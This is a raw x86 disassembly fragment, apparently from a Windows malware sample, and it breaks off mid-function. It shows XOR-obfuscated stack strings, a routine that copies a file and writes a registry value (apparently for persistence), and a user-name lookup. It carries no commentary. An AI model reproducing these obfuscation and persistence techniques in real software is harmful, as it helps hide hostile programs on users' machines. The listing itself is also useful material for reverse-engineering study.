test al, al
je 0x48a1d1
mov dword [ebp - 0xaf8], 0xccf8b183
lea edx, [ebp - 0x1c48]
mov dword [ebp - 0xaf4], 0xf3c01ed1
mov eax, dword [ebp - 0xaf8]
mov ecx, dword [ebp - 0xaf4]
mov dword [ebp - 0x12f0], eax
mov dword [ebp - 0x12ec], ecx
mov dword [ebp - 0xb00], 0x61453c76
mov dword [ebp - 0xafc], 0xa0df89f8
mov eax, dword [ebp - 0xb00]
mov ecx, dword [ebp - 0xafc]
mov dword [ebp - 0x12e8], eax
mov dword [ebp - 0x12e4], ecx
mov dword [ebp - 0xb08], 0xa980d4ad
mov dword [ebp - 0xb04], 0xf3c01ed1
mov eax, dword [ebp - 0xb08]
mov ecx, dword [ebp - 0xb04]
mov dword [ebp - 0xb10], 0x61453c76
mov dword [ebp - 0xb0c], 0xa0df89f8
mov dword [ebp - 0x1a50], eax
mov eax, dword [ebp - 0xb10]
mov dword [ebp - 0x1a4c], ecx
mov ecx, dword [ebp - 0xb0c]
movaps xmm1, xmmword [ebp - 0x12f0]
mov dword [ebp - 0x1a48], eax
mov dword [ebp - 0x1a44], ecx
xorps xmm1, xmmword [ebp - 0x1a50]
movaps xmmword [ebp - 0x12f0], xmm1
mov dword [ebp - 0xb18], 0xa980d4f1
mov dword [ebp - 0xb14], 0xf3c01ed1
mov eax, dword [ebp - 0xb18]
mov ecx, dword [ebp - 0xb14]
mov dword [ebp - 0x12e0], eax
mov dword [ebp - 0x12dc], ecx
mov dword [ebp - 0xb20], 0x61453c76
mov dword [ebp - 0xb1c], 0xa0df89f8
mov eax, dword [ebp - 0xb20]
mov ecx, dword [ebp - 0xb1c]
mov dword [ebp - 0x12d8], eax
mov dword [ebp - 0x12d4], ecx
mov dword [ebp - 0xb28], 0xa980d4ad
mov dword [ebp - 0xb24], 0xf3c01ed1
mov eax, dword [ebp - 0xb28]
mov ecx, dword [ebp - 0xb24]
mov dword [ebp - 0x1780], eax
mov dword [ebp - 0xb30], 0x61453c76
mov dword [ebp - 0x177c], ecx
mov dword [ebp - 0xb2c], 0xa0df89f8
mov eax, dword [ebp - 0xb30]
mov ecx, dword [ebp - 0xb2c]
movaps xmm1, xmmword [ebp - 0x12e0]
mov dword [ebp - 0x1778], eax
lea eax, [ebp - 0x12e0]
mov dword [ebp - 0x1774], ecx
lea ecx, [ebp - 0x2400]
xorps xmm1, xmmword [ebp - 0x1780]
push eax
movaps xmmword [ebp - 0x12e0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x1db0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x23e8]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xa5
lea ecx, [ebp - 0x12f0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cc4]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x23e8]
call fcn.00402df0
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x2400]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1cc4]
mov ecx, esp
mov dword [ebp - 0x1d4c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xa9
mov byte [ebp - 4], 0xa8
call fcn.004e4120
add esp, 0x18
test al, al
jne 0x48a1c2
lea ecx, [ebp - 0x1cc4]
call fcn.00416090
lea ecx, [ebp - 0x1c30]
mov esi, eax
call fcn.00416090
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x48a1c2
mov dword [ebp - 0xb38], 0xdde6bbfe
mov dword [ebp - 0xb34], 0x96b27fa6
mov eax, dword [ebp - 0xb38]
mov ecx, dword [ebp - 0xb34]
mov dword [ebp - 0x1550], eax
mov dword [ebp - 0x154c], ecx
mov dword [ebp - 0xb40], 0x22c712a
mov dword [ebp - 0xb3c], 0xcface68a
mov eax, dword [ebp - 0xb40]
mov ecx, dword [ebp - 0xb3c]
mov dword [ebp - 0x1548], eax
mov dword [ebp - 0x1544], ecx
mov dword [ebp - 0xb48], 0xce9b4c81
mov dword [ebp - 0xb44], 0x74ee8a06
mov eax, dword [ebp - 0xb48]
mov ecx, dword [ebp - 0xb44]
mov dword [ebp - 0x1540], eax
mov dword [ebp - 0x153c], ecx
mov dword [ebp - 0xb50], 0x608400af
mov dword [ebp - 0xb4c], 0xca81f493
mov eax, dword [ebp - 0xb50]
mov ecx, dword [ebp - 0xb4c]
mov dword [ebp - 0x1538], eax
mov dword [ebp - 0x1534], ecx
mov dword [ebp - 0xb58], 0xd372860f
mov dword [ebp - 0xb54], 0xbb92cf07
mov eax, dword [ebp - 0xb58]
mov ecx, dword [ebp - 0xb54]
mov dword [ebp - 0x1530], eax
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0xb60], 0x582582c4
mov dword [ebp - 0xb5c], 0x6d86f2
mov eax, dword [ebp - 0xb60]
mov ecx, dword [ebp - 0xb5c]
mov dword [ebp - 0x1528], eax
mov dword [ebp - 0x1524], ecx
mov dword [ebp - 0xb68], 0xa980d4ad
mov dword [ebp - 0xb64], 0xf3c01ed1
mov eax, dword [ebp - 0xb68]
mov ecx, dword [ebp - 0xb64]
mov dword [ebp - 0xb70], 0x61453c76
mov dword [ebp - 0xb6c], 0xa0df89f8
mov dword [ebp - 0x1a00], eax
mov eax, dword [ebp - 0xb70]
mov dword [ebp - 0x19fc], ecx
mov ecx, dword [ebp - 0xb6c]
mov dword [ebp - 0xb78], 0x99c738e7
mov dword [ebp - 0xb74], 0x1b8ae46f
mov dword [ebp - 0x19f8], eax
mov eax, dword [ebp - 0xb78]
mov dword [ebp - 0x19f4], ecx
mov ecx, dword [ebp - 0xb74]
mov dword [ebp - 0xb80], 0x23d873d8
mov dword [ebp - 0xb7c], 0xaff386e6
mov dword [ebp - 0x19f0], eax
mov eax, dword [ebp - 0xb80]
mov dword [ebp - 0x19ec], ecx
mov ecx, dword [ebp - 0xb7c]
mov dword [ebp - 0xb88], 0xb624f261
mov dword [ebp - 0xb84], 0xd4fbbc75
mov dword [ebp - 0x19e8], eax
mov eax, dword [ebp - 0xb88]
mov dword [ebp - 0x19e4], ecx
mov ecx, dword [ebp - 0xb84]
mov dword [ebp - 0xb90], 0x2d77deaa
mov dword [ebp - 0x19e0], eax
mov dword [ebp - 0xb8c], 0x6d869c
mov eax, dword [ebp - 0xb90]
mov dword [ebp - 0x19dc], ecx
mov ecx, dword [ebp - 0xb8c]
movaps xmm1, xmmword [ebp - 0x1550]
xorps xmm1, xmmword [ebp - 0x1a00]
movaps xmmword [ebp - 0x1550], xmm1
movaps xmm1, xmmword [ebp - 0x1540]
xorps xmm1, xmmword [ebp - 0x19f0]
movaps xmmword [ebp - 0x1540], xmm1
movaps xmm1, xmmword [ebp - 0x1530]
mov dword [ebp - 0x19d8], eax
mov dword [ebp - 0x19d4], ecx
xorps xmm1, xmmword [ebp - 0x19e0]
movaps xmmword [ebp - 0x1530], xmm1
lea eax, [ebp - 0x16c]
push eax
push 0x20006
push 0
lea eax, [ebp - 0x1550]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x48a1c2
mov edi, dword [ebp - 0x1cb4]
lea ecx, [ebp - 0x1cc4]
call fcn.00416090
mov dword [ebp - 0xb98], 0xa980d4f2
mov esi, eax
mov dword [ebp - 0xb94], 0xf3c01ed1
mov ecx, dword [ebp - 0xb98]
mov edx, dword [ebp - 0xb94]
mov dword [ebp - 0x1300], ecx
mov dword [ebp - 0x12fc], edx
lea edx, [ebp - 0x1db0]
mov dword [ebp - 0xba0], 0x61453c76
mov dword [ebp - 0xb9c], 0xa0df89f8
mov ecx, dword [ebp - 0xba0]
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x12f8], ecx
mov dword [ebp - 0x12f4], eax
mov dword [ebp - 0xba8], 0xa980d4ad
mov dword [ebp - 0xba4], 0xf3c01ed1
mov eax, dword [ebp - 0xba8]
mov ecx, dword [ebp - 0xba4]
mov dword [ebp - 0x1770], eax
mov dword [ebp - 0xbb0], 0x61453c76
mov dword [ebp - 0x176c], ecx
mov dword [ebp - 0xbac], 0xa0df89f8
mov eax, dword [ebp - 0xbb0]
mov ecx, dword [ebp - 0xbac]
movaps xmm1, xmmword [ebp - 0x1300]
mov dword [ebp - 0x1768], eax
lea eax, [ebp - 0x1300]
mov dword [ebp - 0x1764], ecx
lea ecx, [ebp - 0x2430]
xorps xmm1, xmmword [ebp - 0x1770]
push eax
movaps xmmword [ebp - 0x1300], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2418]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xab
mov ecx, eax
call fcn.00416090
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x16c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x2418]
call fcn.00402df0
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x2430]
call fcn.00402df0
push dword [ebp - 0x16c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x1cc4]
call fcn.00402df0
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x1c48]
call fcn.00402df0
cmp byte [ebp - 0x47], 0
je 0x48b603
mov dword [ebp - 0xbb8], 0xfccc98ec
mov dword [ebp - 0xbb4], 0xa0925b82
mov eax, dword [ebp - 0xbb8]
mov ecx, dword [ebp - 0xbb4]
mov dword [ebp - 0x1310], eax
mov dword [ebp - 0x130c], ecx
mov dword [ebp - 0xbc0], 0x270a6e26
mov dword [ebp - 0xbbc], 0xa09ac5b1
mov eax, dword [ebp - 0xbc0]
mov ecx, dword [ebp - 0xbbc]
mov dword [ebp - 0x1308], eax
mov dword [ebp - 0x1304], ecx
mov dword [ebp - 0xbc8], 0xa980d4ad
mov dword [ebp - 0xbc4], 0xf3c01ed1
mov eax, dword [ebp - 0xbc8]
mov ecx, dword [ebp - 0xbc4]
mov dword [ebp - 0x1710], eax
mov dword [ebp - 0xbd0], 0x61453c76
mov dword [ebp - 0x170c], ecx
mov dword [ebp - 0xbcc], 0xa0df89f8
mov eax, dword [ebp - 0xbd0]
mov ecx, dword [ebp - 0xbcc]
movaps xmm1, xmmword [ebp - 0x1310]
mov dword [ebp - 0x1708], eax
lea eax, [ebp - 0x1310]
mov dword [ebp - 0x1704], ecx
xorps xmm1, xmmword [ebp - 0x1710]
push eax
movaps xmmword [ebp - 0x1310], xmm1
call fcn.004423d1
add esp, 4
test eax, eax
je 0x48b603
push eax
lea ecx, [ebp - 0x1c60]
call fcn.00402cf0
mov byte [ebp - 4], 0xac
mov dword [ebp - 0xbd8], 0xa980d4f1
mov dword [ebp - 0xbd4], 0xf3c01ed1
mov eax, dword [ebp - 0xbd8]
mov ecx, dword [ebp - 0xbd4]
mov dword [ebp - 0x1320], eax
mov dword [ebp - 0x131c], ecx
mov dword [ebp - 0xbe0], 0x61453c76
mov dword [ebp - 0xbdc], 0xa0df89f8
mov eax, dword [ebp - 0xbe0]
mov ecx, dword [ebp - 0xbdc]
mov dword [ebp - 0x1318], eax
mov dword [ebp - 0x1314], ecx
mov dword [ebp - 0xbe8], 0xa980d4ad
mov dword [ebp - 0xbe4], 0xf3c01ed1
mov eax, dword [ebp - 0xbe8]
mov ecx, dword [ebp - 0xbe4]
mov dword [ebp - 0x1700], eax
mov dword [ebp - 0xbf0], 0x61453c76
mov dword [ebp - 0x16fc], ecx
mov dword [ebp - 0xbec], 0xa0df89f8
mov eax, dword [ebp - 0xbf0]
mov ecx, dword [ebp - 0xbec]
movaps xmm1, xmmword [ebp - 0x1320]
mov dword [ebp - 0x16f8], eax
lea eax, [ebp - 0x1320]
mov dword [ebp - 0x16f4], ecx
lea ecx, [ebp - 0x1c60]
xorps xmm1, xmmword [ebp - 0x1700]
push eax
movaps xmmword [ebp - 0x1320], xmm1
call fcn.00416210
mov dword [ebp - 0xbf8], 0xa980d4f2
lea edx, [ebp - 0x1cf4]
mov dword [ebp - 0xbf4], 0xf3c01ed1
mov eax, dword [ebp - 0xbf8]
mov ecx, dword [ebp - 0xbf4]
mov dword [ebp - 0x1330], eax
mov dword [ebp - 0x132c], ecx
mov dword [ebp - 0xc00], 0x61453c76
mov dword [ebp - 0xbfc], 0xa0df89f8
mov eax, dword [ebp - 0xc00]
mov ecx, dword [ebp - 0xbfc]
mov dword [ebp - 0x1328], eax
mov dword [ebp - 0x1324], ecx
mov dword [ebp - 0xc08], 0xa980d4ad
mov dword [ebp - 0xc04], 0xf3c01ed1
mov eax, dword [ebp - 0xc08]
mov ecx, dword [ebp - 0xc04]
mov dword [ebp - 0x16f0], eax
mov dword [ebp - 0xc10], 0x61453c76
mov dword [ebp - 0x16ec], ecx
mov dword [ebp - 0xc0c], 0xa0df89f8
mov eax, dword [ebp - 0xc10]
mov ecx, dword [ebp - 0xc0c]
movaps xmm1, xmmword [ebp - 0x1330]
mov dword [ebp - 0x16e8], eax
lea eax, [ebp - 0x1330]
mov dword [ebp - 0x16e4], ecx
lea ecx, [ebp - 0x1fc8]
xorps xmm1, xmmword [ebp - 0x16f0]
push eax
movaps xmmword [ebp - 0x1330], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1fb0]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0x1c60]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x1fb0]
call fcn.00402df0
mov byte [ebp - 4], 0xac
lea ecx, [ebp - 0x1fc8]
call fcn.00402df0
lea ecx, [ebp - 0x1c60]
call fcn.00416090
mov ecx, eax
call fcn.004e4050
test al, al
jne 0x48a527
lea ecx, [ebp - 0x1c60]
call fcn.00416090
push eax
lea ecx, [ebp - 0x1e88]
call fcn.00402cf0
mov byte [ebp - 4], 0xaf
lea ecx, [ebp - 0x1e88]
mov esi, dword [ebp - 0x18]
or esi, 0x1000
mov dword [ebp - 0x18], esi
call fcn.00408860
test al, al
jne 0x48a52a
mov byte [ebp - 0x11], al
jmp 0x48a52e
mov esi, dword [ebp - 0x18]
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0xac
test esi, 0x1000
je 0x48a551
and esi, 0xffffefff
lea ecx, [ebp - 0x1e88]
mov dword [ebp - 0x18], esi
call fcn.00402df0
cmp byte [ebp - 0x11], 0
je 0x48b5f4
mov dword [ebp - 0xc18], 0xccf8b183
lea edx, [ebp - 0x1c60]
mov dword [ebp - 0xc14], 0xf3c01ed1
mov eax, dword [ebp - 0xc18]
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x1350], eax
mov dword [ebp - 0x134c], ecx
mov dword [ebp - 0xc20], 0x61453c76
mov dword [ebp - 0xc1c], 0xa0df89f8
mov eax, dword [ebp - 0xc20]
mov ecx, dword [ebp - 0xc1c]
mov dword [ebp - 0x1348], eax
mov dword [ebp - 0x1344], ecx
mov dword [ebp - 0xc28], 0xa980d4ad
mov dword [ebp - 0xc24], 0xf3c01ed1
mov eax, dword [ebp - 0xc28]
mov ecx, dword [ebp - 0xc24]
mov dword [ebp - 0xc30], 0x61453c76
mov dword [ebp - 0xc2c], 0xa0df89f8
mov dword [ebp - 0x16e0], eax
mov eax, dword [ebp - 0xc30]
mov dword [ebp - 0x16dc], ecx
mov ecx, dword [ebp - 0xc2c]
movaps xmm1, xmmword [ebp - 0x1350]
mov dword [ebp - 0x16d8], eax
mov dword [ebp - 0x16d4], ecx
xorps xmm1, xmmword [ebp - 0x16e0]
movaps xmmword [ebp - 0x1350], xmm1
mov dword [ebp - 0xc38], 0xa980d4f1
mov dword [ebp - 0xc34], 0xf3c01ed1
mov eax, dword [ebp - 0xc38]
mov ecx, dword [ebp - 0xc34]
mov dword [ebp - 0x1340], eax
mov dword [ebp - 0x133c], ecx
mov dword [ebp - 0xc40], 0x61453c76
mov dword [ebp - 0xc3c], 0xa0df89f8
mov eax, dword [ebp - 0xc40]
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x1338], eax
mov dword [ebp - 0x1334], ecx
mov dword [ebp - 0xc48], 0xa980d4ad
mov dword [ebp - 0xc44], 0xf3c01ed1
mov eax, dword [ebp - 0xc48]
mov ecx, dword [ebp - 0xc44]
mov dword [ebp - 0x16d0], eax
mov dword [ebp - 0xc50], 0x61453c76
mov dword [ebp - 0x16cc], ecx
mov dword [ebp - 0xc4c], 0xa0df89f8
mov eax, dword [ebp - 0xc50]
mov ecx, dword [ebp - 0xc4c]
movaps xmm1, xmmword [ebp - 0x1340]
mov dword [ebp - 0x16c8], eax
lea eax, [ebp - 0x1340]
mov dword [ebp - 0x16c4], ecx
lea ecx, [ebp - 0x1ff8]
xorps xmm1, xmmword [ebp - 0x16d0]
push eax
movaps xmmword [ebp - 0x1340], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0x1cf4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1fe0]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xb1
lea ecx, [ebp - 0x1350]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1cdc]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0x1fe0]
call fcn.00402df0
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x1ff8]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x1cdc]
mov ecx, esp
mov dword [ebp - 0x1d48], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xb5
mov byte [ebp - 4], 0xb4
call fcn.004e4120
add esp, 0x18
test al, al
jne 0x48b5e5
lea ecx, [ebp - 0x1cdc]
call fcn.00416090
lea ecx, [ebp - 0x1c30]
mov esi, eax
call fcn.00416090
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x48b5e5
push 0x104
lea eax, [ebp - 0x2b88]
mov dword [ebp - 0x298], 0x104
push 0
push eax
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x2b88]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0xc58], 0x8bd29c8d
mov dword [ebp - 0xc54], 0x90b331f1
mov eax, dword [ebp - 0xc58]
mov ecx, dword [ebp - 0xc54]
mov dword [ebp - 0x14e0], eax
mov dword [ebp - 0x14dc], ecx
mov dword [ebp - 0xc60], 0x340a7456
mov dword [ebp - 0xc5c], 0x8086c5aa
mov eax, dword [ebp - 0xc60]
mov ecx, dword [ebp - 0xc5c]
mov dword [ebp - 0x14d8], eax
mov dword [ebp - 0x14d4], ecx
mov dword [ebp - 0xc68], 0xb9ab4ac8
mov dword [ebp - 0xc64], 0x53cdad27
mov eax, dword [ebp - 0xc68]
mov ecx, dword [ebp - 0xc64]
mov dword [ebp - 0x14d0], eax
mov dword [ebp - 0x14cc], ecx
mov dword [ebp - 0xc70], 0x238c209d
mov dword [ebp - 0xc6c], 0xaff386e6
mov eax, dword [ebp - 0xc70]
mov ecx, dword [ebp - 0xc6c]
mov dword [ebp - 0x14c8], eax
mov dword [ebp - 0x14c4], ecx
mov dword [ebp - 0xc78], 0xa980d4ad
mov dword [ebp - 0xc74], 0xf3c01ed1
mov eax, dword [ebp - 0xc78]
mov ecx, dword [ebp - 0xc74]
mov dword [ebp - 0xc80], 0x61453c76
mov dword [ebp - 0xc7c], 0xa0df89f8
mov dword [ebp - 0x1b80], eax
mov eax, dword [ebp - 0xc80]
mov dword [ebp - 0x1b7c], ecx
mov ecx, dword [ebp - 0xc7c]
mov dword [ebp - 0xc88], 0x99c738e7
mov dword [ebp - 0xc84], 0x1b8ae46f
mov dword [ebp - 0x1b78], eax
mov eax, dword [ebp - 0xc88]
mov dword [ebp - 0x1b74], ecx
mov ecx, dword [ebp - 0xc84]
mov dword [ebp - 0xc90], 0x23d873d8
mov dword [ebp - 0xc8c], 0xaff386e6
mov dword [ebp - 0x1b70], eax
mov eax, dword [ebp - 0xc90]
mov dword [ebp - 0x1b6c], ecx
mov ecx, dword [ebp - 0xc8c]
movaps xmm1, xmmword [ebp - 0x14e0]
xorps xmm1, xmmword [ebp - 0x1b80]
movaps xmmword [ebp - 0x14e0], xmm1
movaps xmm1, xmmword [ebp - 0x14d0]
mov dword [ebp - 0x1b68], eax
mov dword [ebp - 0x1b64], ecx
xorps xmm1, xmmword [ebp - 0x1b70]
movaps xmmword [ebp - 0x14d0], xmm1
mov dword [ebp - 0xc98], 0xa980d4f2
mov dword [ebp - 0xc94], 0xf3c01ed1
mov eax, dword [ebp - 0xc98]
mov ecx, dword [ebp - 0xc94]
mov dword [ebp - 0xf30], eax
mov dword [ebp - 0xf2c], ecx
mov dword [ebp - 0xca0], 0x61453c76
mov dword [ebp - 0xc9c], 0xa0df89f8
mov eax, dword [ebp - 0xca0]
mov ecx, dword [ebp - 0xc9c]
mov dword [ebp - 0xf28], eax
mov dword [ebp - 0xf24], ecx
mov dword [ebp - 0xca8], 0xa980d4ad
mov dword [ebp - 0xca4], 0xf3c01ed1
mov eax, dword [ebp - 0xca8]
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0xcb0], 0x61453c76
mov dword [ebp - 0xcac], 0xa0df89f8
mov dword [ebp - 0x16c0], eax
mov eax, dword [ebp - 0xcb0]
mov dword [ebp - 0x16bc], ecx
mov ecx, dword [ebp - 0xcac]
movaps xmm1, xmmword [ebp - 0xf30]
mov dword [ebp - 0x16b8], eax
mov dword [ebp - 0x16b4], ecx
xorps xmm1, xmmword [ebp - 0x16c0]
movaps xmmword [ebp - 0xf30], xmm1
mov dword [ebp - 0xcb8], 0xddaff48f
mov dword [ebp - 0xcb4], 0xf3e23ebf
mov eax, dword [ebp - 0xcb8]
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0xf20], eax
mov dword [ebp - 0xf1c], ecx
mov dword [ebp - 0xcc0], 0x61453c76
mov dword [ebp - 0xcbc], 0xa0df89f8
mov eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0xcbc]
mov dword [ebp - 0xf18], eax
mov dword [ebp - 0xf14], ecx
mov dword [ebp - 0xcc8], 0xa980d4ad
mov dword [ebp - 0xcc4], 0xf3c01ed1
mov eax, dword [ebp - 0xcc8]
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0xcd0], 0x61453c76
mov dword [ebp - 0xccc], 0xa0df89f8
mov dword [ebp - 0x16b0], eax
mov eax, dword [ebp - 0xcd0]
mov dword [ebp - 0x16ac], ecx
mov ecx, dword [ebp - 0xccc]
movaps xmm1, xmmword [ebp - 0xf20]
mov dword [ebp - 0x16a8], eax
mov dword [ebp - 0x16a4], ecx
xorps xmm1, xmmword [ebp - 0x16b0]
movaps xmmword [ebp - 0xf20], xmm1
mov dword [ebp - 0xcd8], 0xddaff48f
mov dword [ebp - 0xcd4], 0xf3e23ea3
mov eax, dword [ebp - 0xcd8]
mov ecx, dword [ebp - 0xcd4]
mov dword [ebp - 0xf10], eax
mov dword [ebp - 0xf0c], ecx
mov dword [ebp - 0xce0], 0x61453c76
mov dword [ebp - 0xcdc], 0xa0df89f8
mov eax, dword [ebp - 0xce0]
mov ecx, dword [ebp - 0xcdc]
mov dword [ebp - 0xf08], eax
mov dword [ebp - 0xf04], ecx
mov dword [ebp - 0xce8], 0xa980d4ad
mov dword [ebp - 0xce4], 0xf3c01ed1
mov eax, dword [ebp - 0xce8]
mov ecx, dword [ebp - 0xce4]
mov dword [ebp - 0x1a60], eax
mov dword [ebp - 0xcf0], 0x61453c76
mov dword [ebp - 0x1a5c], ecx
mov dword [ebp - 0xcec], 0xa0df89f8
mov eax, dword [ebp - 0xcf0]
mov ecx, dword [ebp - 0xcec]
movaps xmm1, xmmword [ebp - 0xf10]
mov dword [ebp - 0x1a58], eax
lea eax, [ebp - 0x2b88]
mov dword [ebp - 0x1a54], ecx
lea ecx, [ebp - 0x20b8]
xorps xmm1, xmmword [ebp - 0x1a60]
push eax
movaps xmmword [ebp - 0xf10], xmm1
call fcn.00402cf0
push eax
mov byte [ebp - 4], 0xb6
mov dword [ebp - 0xcf8], 0xdde8b7de
mov dword [ebp - 0xcf4], 0x80ab6db0
mov ecx, dword [ebp - 0xcf8]
mov edx, dword [ebp - 0xcf4]
mov dword [ebp - 0x14c0], ecx
mov dword [ebp - 0x14bc], edx
mov dword [ebp - 0xd00], 0x13261356
mov dword [ebp - 0xcfc], 0xc5abe89d
mov eax, dword [ebp - 0xd00]
lea edx, [ebp - 0x14c0]
mov ecx, dword [ebp - 0xcfc]
mov dword [ebp - 0x14b4], ecx
mov dword [ebp - 0x14b8], eax
mov dword [ebp - 0xd08], 0xb9a117c7
mov dword [ebp - 0xd04], 0x3bdfb640
mov eax, dword [ebp - 0xd08]
mov ecx, dword [ebp - 0xd04]
mov dword [ebp - 0x14ac], ecx
mov dword [ebp - 0x14b0], eax
mov dword [ebp - 0xd10], 0x23d873fa
mov dword [ebp - 0xd0c], 0xaff386e6
mov eax, dword [ebp - 0xd10]
mov ecx, dword [ebp - 0xd0c]
mov dword [ebp - 0x14a4], ecx
mov dword [ebp - 0x14a8], eax
mov dword [ebp - 0xd18], 0xa980d4ad
mov dword [ebp - 0xd14], 0xf3c01ed1
mov eax, dword [ebp - 0xd18]
mov ecx, dword [ebp - 0xd14]
mov dword [ebp - 0xd20], 0x61453c76
mov dword [ebp - 0xd1c], 0xa0df89f8
mov dword [ebp - 0x1ba0], eax
mov eax, dword [ebp - 0xd20]
mov dword [ebp - 0x1b9c], ecx
mov ecx, dword [ebp - 0xd1c]
mov dword [ebp - 0xd28], 0x99c738e7
mov dword [ebp - 0xd24], 0x1b8ae46f
mov dword [ebp - 0x1b98], eax
mov eax, dword [ebp - 0xd28]
mov dword [ebp - 0x1b94], ecx
mov ecx, dword [ebp - 0xd24]
mov dword [ebp - 0xd30], 0x23d873d8
mov dword [ebp - 0x1b90], eax
mov dword [ebp - 0x1b8c], ecx
mov dword [ebp - 0xd2c], 0xaff386e6
mov eax, dword [ebp - 0xd30]
mov ecx, dword [ebp - 0xd2c]
movaps xmm1, xmmword [ebp - 0x14c0]
xorps xmm1, xmmword [ebp - 0x1ba0]
movaps xmmword [ebp - 0x14c0], xmm1
movaps xmm1, xmmword [ebp - 0x14b0]
mov dword [ebp - 0x1b84], ecx
lea ecx, [ebp - 0x2358]
mov dword [ebp - 0x1b88], eax
xorps xmm1, xmmword [ebp - 0x1b90]
movaps xmmword [ebp - 0x14b0], xmm1
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0xf10]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2088]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xb8
lea ecx, [ebp - 0x1cdc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2070]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0xf20]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2058]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xba
lea ecx, [ebp - 0x1cf4]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2040]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0xf30]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2028]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2010]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0x14e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1eb8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xbf
lea ecx, [ebp - 0x2010]
call fcn.00402df0
mov byte [ebp - 4], 0xc0
lea ecx, [ebp - 0x2028]
call fcn.00402df0
mov byte [ebp - 4], 0xc1
lea ecx, [ebp - 0x2040]
call fcn.00402df0
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x2058]
call fcn.00402df0
mov byte [ebp - 4], 0xc3
lea ecx, [ebp - 0x2070]
call fcn.00402df0
mov byte [ebp - 4], 0xc4
lea ecx, [ebp - 0x2088]
call fcn.00402df0
mov byte [ebp - 4], 0xc5
lea ecx, [ebp - 0x2358]
call fcn.00402df0
mov byte [ebp - 4], 0xc6
lea ecx, [ebp - 0x20b8]
call fcn.00402df0
sub esp, 0x18
lea ecx, [ebp - 0x1eb8]
mov esi, esp
mov dword [ebp - 0x1d6c], esp
call fcn.00416090
push eax
mov ecx, esi
call fcn.00402cf0
mov byte [ebp - 4], 0xc7
mov byte [ebp - 4], 0xc6
xor cl, cl
call fcn.004d0420
mov dword [ebp - 0x308], 0x8bc7988d
add esp, 0x18
mov dword [ebp - 0x304], 0x90b331f1
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x304]
mov dword [ebp - 0x1520], eax
mov dword [ebp - 0x151c], ecx
mov dword [ebp - 0xd40], 0x2d0b7356
mov dword [ebp - 0xd3c], 0xee90ceb7
mov eax, dword [ebp - 0xd40]
mov ecx, dword [ebp - 0xd3c]
mov dword [ebp - 0x1518], eax
mov dword [ebp - 0x1514], ecx
mov dword [ebp - 0xd48], 0xf5b517c7
